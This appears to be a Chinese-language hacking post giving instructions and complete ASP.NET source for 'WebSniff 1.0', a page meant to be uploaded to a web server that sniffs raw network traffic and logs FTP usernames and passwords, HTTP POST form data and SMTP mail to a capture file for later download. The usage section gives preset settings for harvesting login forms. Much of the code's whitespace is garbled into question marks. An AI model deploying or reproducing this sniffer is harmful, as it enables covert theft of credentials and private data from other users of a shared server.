Websniff -aspx网页嗅探工具及使用说明
先看下截圖
bindip: 有多個IP的情況下，選擇要監聽的IP地址。只有一個IP，就不用選了。
filterport: 要監聽的端口，只能同時監聽一個，該參數匹配源地址或目的地址。
MiniSizeToCapture: 要捕獲的數據包大小最小長度，例：設為40 那么只抓長度大于40的數據包。
KeyWordsFilter:要包含的關鍵字，例：設為"passwd " 在符合上面條件的數據包進一步過濾包含"passwd"的數據包，1.0版本不支持多關鍵字。
Logfile:捕獲的數據包文件存放位置，必須為一個可寫目錄。
StopAttime:定時停止，格式為給出的格式，必須設置這個參數。
按鈕功能 ：
啟動 啟動當前任務，不要重復啟動。
停止 停止當前任務。
刷新狀態 可以查看當前抓到的數據包數和任務終止時間。
注意：欲下載數據包文件前必須停止，或等待任務終止。最好不要關閉當前頁，以便控制本次任務狀態。
常用設置方案：
1.FTP 如上圖
2.HTTP 表單記錄
bindip=IP地址
filterport: 80
MiniSizeToCapture: 0
KeyWordsFilter:user=
Logfile:捕獲的數據包文件存放位置，必須為一個可寫目錄。
StopAttime:定時停止，格式為給出的格式，必須設置這個參數。
停止任務后將數據包文件下載到本地，使用wireshark或記事本查看內容
關于抓取到的內容：
在有些情況下只能抓取到下行數據，即向服務器提交的數據，對記錄FTP,HTTP表單,SMTP 這已足夠。
--------------------------------------------------------------------源碼----------------------------------------------------------------------------------------------
保存為1.aspx即可：
<%@ Page Language="C#" ValidateRequest="false" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Collections" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Net.NetworkInformation" %>
<%@ Import Namespace="System.Threading" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>WebSniff 1.0? Powered by? C.C.T。linx 修改版 </title>
</head>
<body>
<script runat="server">
??? static private Socket mainSocket;????????????????????????? //The socket which captures all incoming packets
??? private static byte[] byteData = new byte[2048];
??? private static bool bContinueCapturing = true;??????????? //A flag to check if packets are to be captured or not
??? static int stoppackes = 0;
??? static int port = 0;
??? static string strIP = null;
??? static long packets = 0;
??? static System.IO.FileStream wfs;
??? static string logfile =null;
??? static PacketCaptureWriter pktwt;
??? static string keyword;
??? static DateTime stoptime = System.DateTime.Now.AddYears(-8);
??? static Thread th;
??? static int minisizepacket=0;
??? static string proException = null;
??? static Boolean logNextPacket = false;
??? static Boolean my_s_ftp= true;
??? static Boolean my_s_http_post = false;
??? static Boolean my_s_smtp = false;
?? ?
??? protected void Page_Load(object sender, EventArgs e)
??? {
??????? if (logfile == null)
??????? {
??????????? logfile = Server.MapPath("w" + System.DateTime.Now.ToFileTime() + ".txt");
??????? }
??????? if (stoptime.Year == (System.DateTime.Now.Year - 8))
??????? {
??????????? System.DateTime nextDay = System.DateTime.Now.AddDays(1);
??????????? stoptime = nextDay;
??????? }
?????? ?
??????? //沒有生成IP列表
??????? if (ddlist.Items.Count==0)
??????? {
??????????? IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
??????????? if (HosyEntry.AddressList.Length > 0)
??????????? {
??????????????? foreach (IPAddress ip in HosyEntry.AddressList)
??????????????? {
??????????????????? ddlist.Items.Add(ip.ToString());
??????????????? }
??????????? }
??????? }
??????? //如不是點擊Starts按鈕，則打印已經設過的參數
??????? if (Request.Form["Starts"] == null)
??????? {
??????????? this.ddlist.SelectedValue = strIP;
??????????? this.txtport.Text = port.ToString();
??????????? this.txtMinisize.Text = minisizepacket.ToString();
??????????? this.txtkeywords.Text = keyword;
??????????? this.txtlogfile.Text = logfile;
??????????? this.txtpackets.Text = stoptime.ToString();
??????????? this.s_ftp.Checked = my_s_ftp;
??????????? this.s_http_post.Checked = my_s_http_post;
??????????? this.s_smtp.Checked = my_s_smtp;
??????? }
??????? if (th != null )
??????? {
??????????? this.Lb_msg.Text = System.DateTime.Now.ToString()+"? State: <b>" + th.ThreadState.ToString() +"</b>? Packets: "+packets.ToString();
??????? }
??????? else
??????? {
??????????? this.Lb_msg.Text = "Sniff Treads is not started";
??????? }
?????? ?
?????? ?
??????? if (Request.Form["Starts"] != null || th != null)
??????? {
??????????? this.Starts.Enabled = false;
??????? }
??????? else
??????? {
??????????? this.Starts.Enabled = true;
??????? }
??????? //點擊了stop按鈕
??????? if (Request.Form["Button1"] != null)
??????? {
??????????? this.Starts.Enabled = true;
??????????? this.Lb_msg.Text = System.DateTime.Now.ToString() + "? State: <b>stoping. Click \"Refresh\" again to see if thread is stoped successed.</b>? Packets: " + packets.ToString();
??????? }
??????? Lb_msg2.Text = proException; //錯誤信息
??? }
??? protected void Refresh_Click(object sender, EventArgs e)
??? {
??? }
??? protected void Stop_Click(object sender, EventArgs e)
??? {
??????? packets = stoppackes;
??????? //stoptime = System.DateTime.Now;
??????? proException += "<br>last time stop at " + System.DateTime.Now.ToString();
??????? bContinueCapturing = false;
???? ?
?????? ?
??????? if (th != null)
??????? {
??????????? th.Abort();
??????????? th = null;
??????? }
??????? try
??????? {
??????????? wfs.Close();
??????????? mainSocket.Close();
??????? }
??????? catch (Exception ex)
??????? {
??????? }
??? }
??? protected void Pagestart()
??? {
??????? //記錄設置過的參數
??????? strIP = ddlist.SelectedValue;
??????? port = Int32.Parse(txtport.Text);
??????? stoptime = Convert.ToDateTime( txtpackets.Text);
??????? logfile = this.txtlogfile.Text;
??????? keyword = txtkeywords.Text;
??????? minisizepacket = Int32.Parse(txtMinisize.Text);
??????? my_s_ftp = this.s_ftp.Checked;
??????? my_s_http_post = this.s_http_post.Checked;
??????? my_s_smtp = this.s_smtp.Checked;
?????? ?
??????? wfs = System.IO.File.Create(logfile);
??????? pktwt = new PacketCaptureWriter(wfs, LinkLayerType.RawIP);
??????? bContinueCapturing = true;
??????? packets = 0;
?????? ?
??????? Start();
??? }
??? private static void Start()
??? {
??????? byte[] byTrue = new byte[4] { 1, 0, 0, 0 };
??????? byte[] byOut = new byte[4] { 1, 0, 0, 0 };
??????? try
??????? {
??????????? bContinueCapturing = true;
??????????? mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
??????????? mainSocket.Bind(new IPEndPoint(IPAddress.Parse(strIP), 0));
??????????? mainSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
??????????? mainSocket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
??????? }
??????? catch (Exception ex)
??????? {
??????????? proException += ex.ToString()+"<BR>"; //靜態方法可以訪問靜態變量proException
??????? }
??????? byteData = new byte[2048];
?
??????? while (System.DateTime.Now <= stoptime)
??????? {
??????????? ParseData(byteData, mainSocket.Receive(byteData));
??????? }
??????? bContinueCapturing = false;
??????? wfs.Close();
??????? mainSocket.Close();
??? }
?
??? protected void Start_Click(object sender, EventArgs e)
??? {
??????? if (this.txtlogfile.Text == "" || txtpackets.Text.Length < 1 || txtport.Text == "") return;
??????? th = new Thread(new ThreadStart(Pagestart));
??????? th.Start();
??????? //Session["workthread"] = th;
??????? this.Lb_msg.Text = "\r\nSniffing.Click \"Refresh\" to see the lastest status.";
??? }
??? public static ushort Get2Bytes(byte[] ptr, int Index, int Type)
??? {
??????? ushort u = 0;
??????? if (Type == 0)
??????? {
??????????? u = (ushort)ptr[Index++];
??????????? u *= 256;
??????????? u += (ushort)ptr[Index++];
??????? }
??????? else if (Type == 1)
??????? {
??????????? u = (ushort)ptr[++Index];
??????????? u *= 256; Index--;
??????????? u += (ushort)ptr[Index++]; Index++;
??????? }
??????? return u;
??? }
??? private static void ParseData(byte[] byteData, int nReceived)
??? {
??????? try
??????? {
??????????? byte[] nbyte = new byte[nReceived];
??????????? Array.Copy(byteData, nbyte, nReceived);
??????????? if ((int)nbyte[9] == 6)
??????????? {
????????????? ?
??????????????? int sport = Get2Bytes(nbyte,? 20,0);
??????????????? int dport = Get2Bytes(nbyte,? 22,0);
?????????????? ?
??????????????? String datas=Encoding.Default.GetString(nbyte);
??????????????? Boolean logIt=false;
?????????????? ?
??????????????? if (my_s_ftp)
??????????????? {
??????????????????? if ((sport == 21 || dport == 21) &&
??????????????????????? (datas.IndexOf("USER ") >= 0 || datas.IndexOf("PASS ") >= 0)
??????????????????????? )
??????????????????? {
?????????????????????? logIt =true;?????????????????? ?
??????????????????? }
??????????????? }
??????????????? if (!logIt && my_s_http_post)
??????????????? {
??????????????????? if(logNextPacket){
??????????????????????? logIt =true;
??????????????????????? logNextPacket=false;
?????????????????????? ?
??????????????????? }
??????????????????? if (!logIt && datas.IndexOf("POST ")>=0)
??????????????????? {
?????????????????????? logIt =true;
?????????????????????? logNextPacket=true;
??????????????????? }
?????????????????? ?
??????????????? }
??????????????? if (!logIt && my_s_smtp && (dport == 25 || sport == 25))
??????????????? {
???????????????????? logIt =true;
??????????????? }
?????????????? ?
??????????????? //判斷端口
??????????????? if (!logIt && (dport == port || sport == port))
??????????????? {
??????????????????? if (nReceived > minisizepacket)
??????????????????? {
??????????????????????? //判斷關鍵字
??????????????????????? if (keyword != "")
??????????????????????? {
??????????????????????????? if (datas.IndexOf(keyword) >= 0)
??????????????????????????? {
??????????????????????????????? logIt =true;
??????????????????????????? }
??????????????????????? }
??????????????????????? else
??????????????????????? {
??????????????????????????? logIt =true;
??????????????????????? }
??????????????????? }
??????????????? }
??????????????? if(logIt){
???????????????????????? PacketCapture pkt = new PacketCapture(nbyte, nReceived);
??????????????????????????? pktwt.Write(pkt);
??????????????????????????? packets++;
??????????????? }
?????????????? ?
?????????????? ?
??????????? }
??????? }
??????? catch { }
??? }
??? public struct UnixTime
??? {
??????? public static readonly DateTime MinDateTime = new DateTime(1970, 1, 1, 0, 0, 0);
??????? public static readonly DateTime MaxDateTime = new DateTime(2038, 1, 19, 3, 14, 7);
??????? private readonly int _Value;
??????? public UnixTime(int value)
??????? {
??????????? if (value < 0)
??????????????? throw new ArgumentOutOfRangeException("value");
??????????? _Value = value;
??????? }
??????? public int Value
??????? {
??????????? get { return _Value; }
??????? }
??????? public DateTime ToDateTime()
??????? {
??????????? const long START = 621355968000000000; // 1970-1-1 00:00:00
??????????? return new DateTime(START + (_Value * (long)10000000)).ToLocalTime();
??????? }
??????? public static UnixTime FromDateTime(DateTime dateTime)
??????? {
??????????? if (dateTime < MinDateTime || dateTime > MaxDateTime)
??????????????? throw new ArgumentOutOfRangeException("dateTime");
??????????? TimeSpan span = dateTime.Subtract(MinDateTime);
??????????? return new UnixTime((int)span.TotalSeconds);
??????? }
??????? public override string ToString()
??????? {
??????????? return ToDateTime().ToString();
??????? }
??? }
??? public enum LinkLayerType : uint
??? {
??????? Null = 0,
??????? Ethernet = 1,
??????? RawIP = 101,
??????? User0 = 147,
??????? User1 = 148,
??????? User2 = 149,
??????? User3 = 150,
??????? User4 = 151,
??????? User5 = 152,
??????? User6 = 153,
??????? User7 = 154,
??????? User8 = 155,
??????? User9 = 156,
??????? User10 = 157,
??????? User11 = 158,
??????? User12 = 159,
??????? User13 = 160,
??????? User14 = 161,
??????? User15 = 162,
??? }
??? public sealed class PacketCaptureWriter
??? {
??????? #region Fields
??????? private const uint MAGIC = 0xA1B2C3D4;
??????? private readonly Stream _BaseStream;
??????? private readonly LinkLayerType _LinkLayerType;
??????? private readonly int _MaxPacketLength;
??????? private readonly BinaryWriter m_Writer;
??????? private bool m_ExistHeader = false;
??????? private int _TimeZone;
??????? private int _CaptureTimestamp;
??????? #endregion
??????? #region Constructors
??????? public PacketCaptureWriter(
??????????? Stream baseStream, LinkLayerType linkLayerType,
??????????? int maxPacketLength, int captureTimestamp)
??????? {
??????????? if (baseStream == null) throw new ArgumentNullException("baseStream");
??????????? if (maxPacketLength < 0) throw new ArgumentOutOfRangeException("maxPacketLength");
??????????? if (!baseStream.CanWrite) throw new ArgumentException("Cant'Wirte Stream");
??????????? _BaseStream = baseStream;
??????????? _LinkLayerType = linkLayerType;
??????????? _MaxPacketLength = maxPacketLength;
??????????? _CaptureTimestamp = captureTimestamp;
??????????? m_Writer = new BinaryWriter(_BaseStream);
??????? }
??????? public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType, int captureTimestamp)
??????????? : this(baseStream, linkLayerType, 0xFFFF, captureTimestamp)
??????? {
??????? }
??????? public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType)
??????????? : this(baseStream, linkLayerType, 0xFFFF, UnixTime.FromDateTime(DateTime.Now).Value)
??????? {
??????? }
??????? #endregion
??????? #region Properties
??????? public short VersionMajor
??????? {
??????????? get { return 2; }
??????? }
??????? public short VersionMinjor
??????? {
??????????? get { return 4; }
??????? }
??????? public int TimeZone
??????? {
??????????? get { return _TimeZone; }
??????????? set { _TimeZone = value; }
??????? }
??????? public int CaptureTimestamp
??????? {
??????????? get { return _CaptureTimestamp; }
??????????? set { _CaptureTimestamp = value; }
??????? }
??????? public Stream BaseStream
??????? {
??????????? get { return _BaseStream; }
??????? }
??????? public LinkLayerType LinkLaterType
??????? {
??????????? get { return _LinkLayerType; }
??????? }
??????? public int MaxPacketLength
??????? {
??????????? get { return _MaxPacketLength; }
??????? }
??????? #endregion
??????? public void Write(PacketCapture packet)
??????? {
??????????? CheckHeader();
??????????? m_Writer.Write(packet.Timestamp.Value);
??????????? m_Writer.Write(packet.Millseconds);
??????????? m_Writer.Write(packet.Packet.Count);
??????????? m_Writer.Write(packet.RawLength);
??????????? m_Writer.Write(packet.Packet.Array, packet.Packet.Offset, packet.Packet.Count);
??????? }
??????? public void Flush()
??????? {
??????????? BaseStream.Flush();
??????? }
??????? private void CheckHeader()
??????? {
??????????? if (!m_ExistHeader)
??????????? {
??????????????? m_Writer.Write(MAGIC);
??????????????? m_Writer.Write(VersionMajor);
??????????????? m_Writer.Write(VersionMinjor);
??????????????? m_Writer.Write(TimeZone);
??????????????? m_Writer.Write(CaptureTimestamp);
??????????????? m_Writer.Write(MaxPacketLength);
??????????????? m_Writer.Write((uint)LinkLaterType);
??????????????? m_ExistHeader = true;
??????????? }
??????? }
??? }
??? public sealed class PacketCapture
??? {
??????? private readonly UnixTime _Timestamp;
??????? private readonly ArraySegment<byte> _Packet;
??????? private readonly int _RawLength;
??????? private readonly int _Millseconds;
?
??????? public PacketCapture(ArraySegment<byte> packet, int rawLength, UnixTime timestamp, int millseconds)
??????? {
??????????? if (packet.Count > rawLength)
??????????????? throw new ArgumentException("Length Error", "rawLength");
??????????? _Packet = packet;
??????????? _Timestamp = timestamp;
??????????? _RawLength = rawLength;
??????????? _Millseconds = millseconds;
??????? }
??????? public PacketCapture(ArraySegment<byte> packet, int rawLength, DateTime timestamp)
??????????? : this(packet, rawLength, UnixTime.FromDateTime(timestamp), 0)
??????? {
??????? }
??????? public PacketCapture(ArraySegment<byte> packet, int rawLength)
??????????? : this(packet, rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
??????? {
??????? }
??????? public PacketCapture(ArraySegment<byte> packet)
??????????? : this(packet, packet.Count)
??????? {
??????? }
??????? public PacketCapture(byte[] packetData, int offset, int count, int rawLength, UnixTime timestamp, int millseconds)
??????????? : this(new ArraySegment<byte>(packetData, offset, count), rawLength, timestamp, millseconds)
??????? {
??????? }
??????? public PacketCapture(byte[] packetData, int offset, int count, int rawLength, DateTime timestamp)
??????????? : this(new ArraySegment<byte>(packetData, offset, count), rawLength, UnixTime.FromDateTime(timestamp), 0)
??????? {
??????? }
??????? public PacketCapture(byte[] packetData, int rawLength, UnixTime timestamp, int millseconds)
??????????? : this(new ArraySegment<byte>(packetData), rawLength, timestamp, millseconds)
??????? {
??????? }
??????? public PacketCapture(byte[] packetData, int rawLength, DateTime timestamp)
??????????? : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(timestamp), 0)
??????? {
??????? }
??????? public PacketCapture(byte[] packetData, int rawLength)
??????????? : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
??????? {
??????? }
??????? public PacketCapture(byte[] packetData)
??????????? : this(packetData, packetData.Length)
??????? {
??????? }
??????? public ArraySegment<byte> Packet
??????? {
??????????? get { return _Packet; }
??????? }
??????? public UnixTime Timestamp
??????? {
??????????? get { return _Timestamp; }
??????? }
??????? public int Millseconds
??????? {
??????????? get { return _Millseconds; }
??????? }
??????? public int RawLength
??????? {
??????????? get { return _RawLength; }
??????? }
??? }
</script>
<style type="text/css">
<!--
a {
color: #FF0000?? ? ;text-decoration: none
}
#b
{
color: #336699;
font-size: 10pt;
text-align: right;
}
#tt
{
vertical-align: middle;
font-size: 12pt;
text-align: center;
}
#Ct_2
{
padding-left:30px;
font-size: 10pt;
color: #336699;
vertical-align: middle;
text-align: left;
background-color: aliceblue;
border-width: 1px;
border-style: solid;
border-color: -moz-use-text-color;
padding-bottom:10px;
}
-->
</style>
<form id="form1" runat="server">
<div id="tt">? <b> WebSniff 1.0</b><br /><br />? </div>
<div id="Ct_2" >
??? <table width="100%" >
????? <tr >
??????????? <td? width="10%"> BindIP: </td>
??????????? <td ><asp:DropDownList ID="ddlist" runat="server" width="90%"></asp:DropDownList></td>
??????? </tr>
?????? ?
????? <tr >
??????????? <td? width="10%">Auto sniff: </td>
??????????? <td >
??????????? FTP Password:
???????????? <asp:CheckBox ID="s_ftp" runat="server" Checked />
????????????
??????????? ?
???????????? HTTP Post Data:
????????????? <asp:CheckBox ID="s_http_post" runat="server" />
?????????????
???????????? ?
????????????? Smtp Data:
?????????????? <asp:CheckBox ID="s_smtp" runat="server" />
?????????? ?
?????????? ?
??????????? </td>
??????? </tr>
????????????????? ?
?????? ?
?????? ?
??????? <tr>
??????????? <td ">
??????????????? FilterPort:
??????????? </td>
??????????? <td>
??????????????? <asp:TextBox ID="txtport" Text="0"? width="90%" runat="server"></asp:TextBox>
??????????? </td>
??????? </tr>
??????? <tr>
??????????? <td >
??????????????? MiniSizeToCapture:
??????????? </td>
??????????? <td >
??????????????? <asp:TextBox ID="txtMinisize" Text="0"? width="90%" runat="server" ></asp:TextBox>
??????????? </td>
??????? </tr>
??????? <tr>
??????????? <td>
??????????????? KeyWordsFilter:
??????????? </td>
??????????? <td>
??????????????? <asp:TextBox ID="txtkeywords" runat="server"?? width="90%" Text=""></asp:TextBox>
??????????? </td>
??????? </tr>
??????? <tr>
??????????? <td >
??????????????? LogFile:
??????????? </td>
??????????? <td>
??????????????? <asp:TextBox ID="txtlogfile" runat="server"?? width="90%" Text="log.log" ></asp:TextBox>
??????????? </td>
??????? </tr>
??????? <tr>
??????????? <td >
??????????????? Stop At Time:
??????????? </td>
??????????? <td>
??????????????? <asp:TextBox ID="txtpackets" runat="server"? width="90%" Text="300"></asp:TextBox>
??????????? </td>
??????? </tr>
?? ????? <tr>
??????????? <td >
?????????? ??? ?????? Control:
??????????? </td>
??????????? <td?? width="90%" >?? ? <asp:Button ID="Starts" runat="server" OnClick="Start_Click" Text="Start" />
?? ??? ??? ?????? <asp:Button ID="Button1" runat="server" OnClick="Stop_Click" Text="Stop" />
????????????????? <asp:Button ID="Button_ref" runat="server" OnClick="Refresh_Click" Text="Refresh/View Status" /><br />
??????????? </td>
??????? </tr>
?? ????? <tr>
??????????? <td? >
?????????? ??? ?????? Status:
??????????? </td>
??????????? <td?? width="90%"><div id="s"><asp:Label ID="Lb_msg" runat="server" Text=""></div></asp:Label>
??????????? </td>
??????? </tr>
?? ????? <tr>
??????????? <td? >
?????????????? ??? ? ?
??????????? </td>
??????????? <td?? width="90%"><div id="s"><asp:Label ID="Lb_msg2" runat="server" Text=""></div></asp:Label>
??????????? </td>
??????? </tr>
?????? ?
??? </table>
??? </div><br /><br />
??? <div id=b>Powered by <a href="//www.cncert.net"> C.C.T </a>|Version 1.0
?? ?
??? <a href=" http://hi.baidu.com/cnqing/blog/item/92d8b35008ad871f377abee4.html">1</a>
??? <a href="http://hi.baidu.com/linx2008/blog/item/7020f1de1b1c805395ee3768.html">2</a>
??? </div>
?
?? ?
?? ?
?? ?
</form>
</body>
</html>
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